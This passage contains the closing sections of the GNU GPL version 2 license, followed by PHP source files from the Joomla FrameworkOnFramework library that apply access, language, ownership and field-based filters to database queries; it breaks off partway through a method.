b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what
it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class to filter front-end access to
items
* based on the viewing access levels.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorAccess extends FOFModelBehavior
{
/**
* This event runs after we have built the query used to fetch a record
* list in a model. It is used to apply automatic query filters.
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
// This behavior only applies to the front-end.
if (!FOFPlatform::getInstance()->isFrontend())
{
return;
}
// Get the name of the access field
$table = $model->getTable();
$accessField = $table->getColumnAlias('access');
// Make sure the field actually exists
if (!in_array($accessField, $table->getKnownFields()))
{
return;
}
$model->applyAccessFiltering(null);
}
/**
* The event runs after FOFModel has called FOFTable and retrieved a
single
* item from the database. It is used to apply automatic filters.
*
* @param FOFModel &$model The model which was called
* @param FOFTable &$record The record loaded from the database
*
* @return void
*/
public function onAfterGetItem(&$model, &$record)
{
if ($record instanceof FOFTable)
{
$fieldName = $record->getColumnAlias('access');
// Make sure the field actually exists
if (!in_array($fieldName, $record->getKnownFields()))
{
return;
}
// Get the user
$user = FOFPlatform::getInstance()->getUser();
// Filter by authorised access levels
if (!in_array($record->$fieldName,
$user->getAuthorisedViewLevels()))
{
$record = null;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorEmptynonzero extends FOFModelBehavior
{
/**
* This event runs when we are building the query used to fetch a record
* list in a model
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The query being built
*
* @return void
*/
public function onBeforeBuildQuery(&$model, &$query)
{
$model->setState('_emptynonzero', '1');
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class to filter front-end access to
items
* that are enabled.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorEnabled extends FOFModelBehavior
{
/**
* This event runs after we have built the query used to fetch a record
* list in a model. It is used to apply automatic query filters.
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
// This behavior only applies to the front-end.
if (!FOFPlatform::getInstance()->isFrontend())
{
return;
}
// Get the name of the enabled field
$table = $model->getTable();
$enabledField = $table->getColumnAlias('enabled');
// Make sure the field actually exists
if (!in_array($enabledField, $table->getKnownFields()))
{
return;
}
// Filter by enabled fields only
$db = FOFPlatform::getInstance()->getDbo();
// Alias
$alias = $model->getTableAlias();
$alias = $alias ? $db->qn($alias) . '.' : '';
$query->where($alias . $db->qn($enabledField) . ' = ' .
$db->q(1));
}
/**
* The event runs after FOFModel has called FOFTable and retrieved a
single
* item from the database. It is used to apply automatic filters.
*
* @param FOFModel &$model The model which was called
* @param FOFTable &$record The record loaded from the database
*
* @return void
*/
public function onAfterGetItem(&$model, &$record)
{
if ($record instanceof FOFTable)
{
$fieldName = $record->getColumnAlias('enabled');
// Make sure the field actually exists
if (!in_array($fieldName, $record->getKnownFields()))
{
return;
}
if ($record->$fieldName != 1)
{
$record = null;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorFilters extends FOFModelBehavior
{
/**
* This event runs after we have built the query used to fetch a record
* list in a model. It is used to apply automatic query filters.
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
$table = $model->getTable();
$tableName = $table->getTableName();
$tableKey = $table->getKeyName();
$db = $model->getDBO();
$filterzero = $model->getState('_emptynonzero', null);
$fields = $model->getTableFields();
$backlist = $model->blacklistFilters();
foreach ($fields as $fieldname => $fieldtype)
{
if (in_array($fieldname, $backlist)) {
continue;
}
$field = new stdClass;
$field->name = $fieldname;
$field->type = $fieldtype;
$field->filterzero = $filterzero;
$filterName = ($field->name == $tableKey) ? 'id' :
$field->name;
$filterState = $model->getState($filterName, null);
$field = FOFModelField::getField($field, array('dbo' =>
$db, 'table_alias' => $model->getTableAlias()));
if ((is_array($filterState) && (
array_key_exists('value', $filterState) ||
array_key_exists('from', $filterState) ||
array_key_exists('to', $filterState)
)) || is_object($filterState))
{
$options = new JRegistry($filterState);
}
else
{
$options = new JRegistry;
$options->set('value', $filterState);
}
$methods = $field->getSearchMethods();
$method = $options->get('method',
$field->getDefaultSearchMethod());
if (!in_array($method, $methods))
{
$method = 'exact';
}
switch ($method)
{
case 'between':
case 'outside':
case 'range' :
$sql = $field->$method($options->get('from', null),
$options->get('to'));
break;
case 'interval':
case 'modulo':
$sql = $field->$method($options->get('value', null),
$options->get('interval'));
break;
case 'exact':
case 'partial':
case 'search':
default:
$sql = $field->$method($options->get('value', null));
break;
}
if ($sql)
{
$query->where($sql);
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class to filter front-end access to
items
* based on the language.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorLanguage extends FOFModelBehavior
{
/**
* This event runs before we have built the query used to fetch a record
* list in a model. It is used to blacklist the language filter
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onBeforeBuildQuery(&$model, &$query)
{
if (FOFPlatform::getInstance()->isFrontend())
{
$model->blacklistFilters('language');
}
}
/**
* This event runs after we have built the query used to fetch a record
* list in a model. It is used to apply automatic query filters.
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
// This behavior only applies to the front-end.
if (!FOFPlatform::getInstance()->isFrontend())
{
return;
}
// Get the name of the language field
$table = $model->getTable();
$languageField = $table->getColumnAlias('language');
// Make sure the access field actually exists
if (!in_array($languageField, $table->getKnownFields()))
{
return;
}
// Make sure it is a multilingual site and get a list of languages
$app = JFactory::getApplication();
$hasLanguageFilter = method_exists($app, 'getLanguageFilter');
if ($hasLanguageFilter)
{
$hasLanguageFilter = $app->getLanguageFilter();
}
if (!$hasLanguageFilter)
{
return;
}
$lang_filter_plugin = JPluginHelper::getPlugin('system',
'languagefilter');
$lang_filter_params = new JRegistry($lang_filter_plugin->params);
$languages = array('*');
if ($lang_filter_params->get('remove_default_prefix'))
{
// Get default site language
$lg = FOFPlatform::getInstance()->getLanguage();
$languages[] = $lg->getTag();
}
else
{
$languages[] =
JFactory::getApplication()->input->getCmd('language',
'*');
}
// Filter out double languages
$languages = array_unique($languages);
// And filter the query output by these languages
$db = FOFPlatform::getInstance()->getDbo();
// Alias
$alias = $model->getTableAlias();
$alias = $alias ? $db->qn($alias) . '.' : '';
$languages = array_map(array($db, 'quote'), $languages);
$query->where($alias . $db->qn($languageField) . ' IN ('
. implode(',', $languages) . ')');
}
/**
* The event runs after FOFModel has called FOFTable and retrieved a
single
* item from the database. It is used to apply automatic filters.
*
* @param FOFModel &$model The model which was called
* @param FOFTable &$record The record loaded from the database
*
* @return void
*/
public function onAfterGetItem(&$model, &$record)
{
if ($record instanceof FOFTable)
{
$fieldName = $record->getColumnAlias('language');
// Make sure the field actually exists
if (!in_array($fieldName, $record->getKnownFields()))
{
return;
}
// Make sure it is a multilingual site and get a list of languages
$app = JFactory::getApplication();
$hasLanguageFilter = method_exists($app, 'getLanguageFilter');
if ($hasLanguageFilter)
{
$hasLanguageFilter = $app->getLanguageFilter();
}
if (!$hasLanguageFilter)
{
return;
}
$lang_filter_plugin = JPluginHelper::getPlugin('system',
'languagefilter');
$lang_filter_params = new JRegistry($lang_filter_plugin->params);
$languages = array('*');
if ($lang_filter_params->get('remove_default_prefix'))
{
// Get default site language
$lg = FOFPlatform::getInstance()->getLanguage();
$languages[] = $lg->getTag();
}
else
{
$languages[] =
JFactory::getApplication()->input->getCmd('language',
'*');
}
// Filter out double languages
$languages = array_unique($languages);
if (!in_array($record->$fieldName, $languages))
{
$record = null;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class to filter front-end access to
items
* created by the currently logged in user only.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelBehaviorPrivate extends FOFModelBehavior
{
/**
* This event runs after we have built the query used to fetch a record
* list in a model. It is used to apply automatic query filters.
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The model which calls this
event
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
// This behavior only applies to the front-end.
if (!FOFPlatform::getInstance()->isFrontend())
{
return;
}
// Get the name of the access field
$table = $model->getTable();
$createdField = $table->getColumnAlias('created_by');
// Make sure the access field actually exists
if (!in_array($createdField, $table->getKnownFields()))
{
return;
}
// Get the current user's id
$user_id = FOFPlatform::getInstance()->getUser()->id;
// And filter the query output by the user id
$db = FOFPlatform::getInstance()->getDbo();
$alias = $model->getTableAlias();
$alias = $alias ? $db->qn($alias) . '.' : '';
$query->where($alias . $db->qn($createdField) . ' = ' .
$db->q($user_id));
}
/**
* The event runs after FOFModel has called FOFTable and retrieved a
single
* item from the database. It is used to apply automatic filters.
*
* @param FOFModel &$model The model which was called
* @param FOFTable &$record The record loaded from the database
*
* @return void
*/
public function onAfterGetItem(&$model, &$record)
{
if ($record instanceof FOFTable)
{
$keyName = $record->getKeyName();
if ($record->$keyName === null)
{
return;
}
$fieldName = $record->getColumnAlias('created_by');
// Make sure the field actually exists
if (!in_array($fieldName, $record->getKnownFields()))
{
return;
}
$user_id = FOFPlatform::getInstance()->getUser()->id;
if ($record->$fieldName != $user_id)
{
$record = null;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class. It defines the events which
are
* called by a Model.
*
* @codeCoverageIgnore
* @package FrameworkOnFramework
* @since 2.1
*/
abstract class FOFModelBehavior extends FOFUtilsObservableEvent
{
/**
* This event runs before saving data in the model
*
* @param FOFModel &$model The model which calls this event
* @param array &$data The data to save
*
* @return void
*/
public function onBeforeSave(&$model, &$data)
{
}
/**
* This event runs before deleting a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforeDelete(&$model)
{
}
/**
* This event runs before copying a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforeCopy(&$model)
{
}
/**
* This event runs before publishing a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforePublish(&$model)
{
}
/**
* This event runs before registering a hit on a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforeHit(&$model)
{
}
/**
* This event runs before moving a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforeMove(&$model)
{
}
/**
* This event runs before changing the records' order in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onBeforeReorder(&$model)
{
}
/**
* This event runs when we are building the query used to fetch a record
* list in a model
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The query being built
*
* @return void
*/
public function onBeforeBuildQuery(&$model, &$query)
{
}
/**
* This event runs after saving a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterSave(&$model)
{
}
/**
* This event runs after deleting a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterDelete(&$model)
{
}
/**
* This event runs after copying a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterCopy(&$model)
{
}
/**
* This event runs after publishing a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterPublish(&$model)
{
}
/**
* This event runs after registering a hit on a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterHit(&$model)
{
}
/**
* This event runs after moving a record in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterMove(&$model)
{
}
/**
* This event runs after reordering records in a model
*
* @param FOFModel &$model The model which calls this event
*
* @return void
*/
public function onAfterReorder(&$model)
{
}
/**
* This event runs after we have built the query used to fetch a record
* list in a model
*
* @param FOFModel &$model The model which calls this event
* @param FOFDatabaseQuery &$query The query being built
*
* @return void
*/
public function onAfterBuildQuery(&$model, &$query)
{
}
/**
* This event runs after getting a single item
*
* @param FOFModel &$model The model which calls this event
* @param FOFTable &$record The record loaded by this model
*
* @return void
*/
public function onAfterGetItem(&$model, &$record)
{
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior dispatcher class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelDispatcherBehavior extends FOFUtilsObservableDispatcher
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelFieldBoolean extends FOFModelFieldNumber
{
/**
* Is it a null or otherwise empty value?
*
* @param mixed $value The value to test for emptiness
*
* @return boolean
*/
public function isEmpty($value)
{
return is_null($value) || ($value === '');
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelFieldDate extends FOFModelFieldText
{
/**
* Returns the default search method for this field.
*
* @return string
*/
public function getDefaultSearchMethod()
{
return 'exact';
}
/**
* Perform a between limits match. When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function between($from, $to, $include = true)
{
if ($this->isEmpty($from) || $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '((' . $this->getFieldName() . ' >' .
$extra . ' "' . $from . '") AND ';
$sql .= '(' . $this->getFieldName() . ' <' .
$extra . ' "' . $to . '"))';
return $sql;
}
/**
* Perform an outside limits match. When $include is true
* the condition tested is:
* (VALUE <= $from) || (VALUE >= $to)
* When $include is false the condition tested is:
* (VALUE < $from) || (VALUE > $to)
*
* @param mixed $from The lowest value of the excluded range
* @param mixed $to The higherst value of the excluded range
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function outside($from, $to, $include = false)
{
if ($this->isEmpty($from) || $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '((' . $this->getFieldName() . ' <' .
$extra . ' "' . $from . '") OR ';
$sql .= '(' . $this->getFieldName() . ' >' .
$extra . ' "' . $to . '"))';
return $sql;
}
/**
* Interval date search
*
* @param string $value The value to search
* @param string|array|object $interval The interval. Can be (+1 MONTH
or array('value' => 1, 'unit' =>
'MONTH', 'sign' => '+'))
* @param boolean $include If the borders should be
included
*
* @return string the sql string
*/
public function interval($value, $interval, $include = true)
{
if ($this->isEmpty($value) || $this->isEmpty($interval))
{
return '';
}
$interval = $this->getInterval($interval);
if ($interval['sign'] == '+')
{
$function = 'DATE_ADD';
}
else
{
$function = 'DATE_SUB';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '(' . $this->getFieldName() . ' >' .
$extra . ' ' . $function;
$sql .= '(' . $this->getFieldName() . ', INTERVAL
' . $interval['value'] . ' ' .
$interval['unit'] . '))';
return $sql;
}
/**
* Perform a between limits match. When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function range($from, $to, $include = true)
{
if ($this->isEmpty($from) && $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
if ($from)
$sql[] = '(' . $this->getFieldName() . ' >' .
$extra . ' "' . $from . '")';
if ($to)
$sql[] = '(' . $this->getFieldName() . ' <' .
$extra . ' "' . $to . '")';
$sql = '(' . implode(' AND ', $sql) . ')';
return $sql;
}
/**
* Parses an interval –which may be given as a string, array or
object– into
* a standardised hash array that can then be used bu the interval()
method.
*
* @param string|array|object $interval The interval expression to
parse
*
* @return array The parsed, hash array form of the interval
*/
protected function getInterval($interval)
{
if (is_string($interval))
{
if (strlen($interval) > 2)
{
$interval = explode(" ", $interval);
$sign = ($interval[0] == '-') ? '-' :
'+';
$value = (int) substr($interval[0], 1);
$interval = array(
'unit' => $interval[1],
'value' => $value,
'sign' => $sign
);
}
else
{
$interval = array(
'unit' => 'MONTH',
'value' => 1,
'sign' => '+'
);
}
}
else
{
$interval = (array) $interval;
}
return $interval;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelFieldNumber extends FOFModelField
{
/**
* The partial match is mapped to an exact match
*
* @param mixed $value The value to compare to
*
* @return string The SQL where clause for this search
*/
public function partial($value)
{
return $this->exact($value);
}
/**
* Perform a between limits match. When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function between($from, $to, $include = true)
{
if ($this->isEmpty($from) || $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '((' . $this->getFieldName() . ' >' .
$extra . ' ' . $from . ') AND ';
$sql .= '(' . $this->getFieldName() . ' <' .
$extra . ' ' . $to . '))';
return $sql;
}
/**
* Perform an outside limits match. When $include is true
* the condition tested is:
* (VALUE <= $from) || (VALUE >= $to)
* When $include is false the condition tested is:
* (VALUE < $from) || (VALUE > $to)
*
* @param mixed $from The lowest value of the excluded range
* @param mixed $to The higherst value of the excluded range
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function outside($from, $to, $include = false)
{
if ($this->isEmpty($from) || $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '((' . $this->getFieldName() . ' <' .
$extra . ' ' . $from . ') OR ';
$sql .= '(' . $this->getFieldName() . ' >' .
$extra . ' ' . $to . '))';
return $sql;
}
/**
* Perform an interval match. It's similar to a 'between'
match, but the
* from and to values are calculated based on $value and $interval:
* $value - $interval < VALUE < $value + $interval
*
* @param integer|float $value The center value of the search space
* @param integer|float $interval The width of the search space
* @param boolean $include Should I include the boundaries in
the search?
*
* @return string The SQL where clause
*/
public function interval($value, $interval, $include = true)
{
if ($this->isEmpty($value))
{
return '';
}
$from = $value - $interval;
$to = $value + $interval;
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '((' . $this->getFieldName() . ' >' .
$extra . ' ' . $from . ') AND ';
$sql .= '(' . $this->getFieldName() . ' <' .
$extra . ' ' . $to . '))';
return $sql;
}
/**
* Perform a range limits match. When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
public function range($from, $to, $include = true)
{
if ($this->isEmpty($from) && $this->isEmpty($to))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
if ($from)
$sql[] = '(' . $this->getFieldName() . ' >' .
$extra . ' ' . $from . ')';
if ($to)
$sql[] = '(' . $this->getFieldName() . ' <' .
$extra . ' ' . $to . ')';
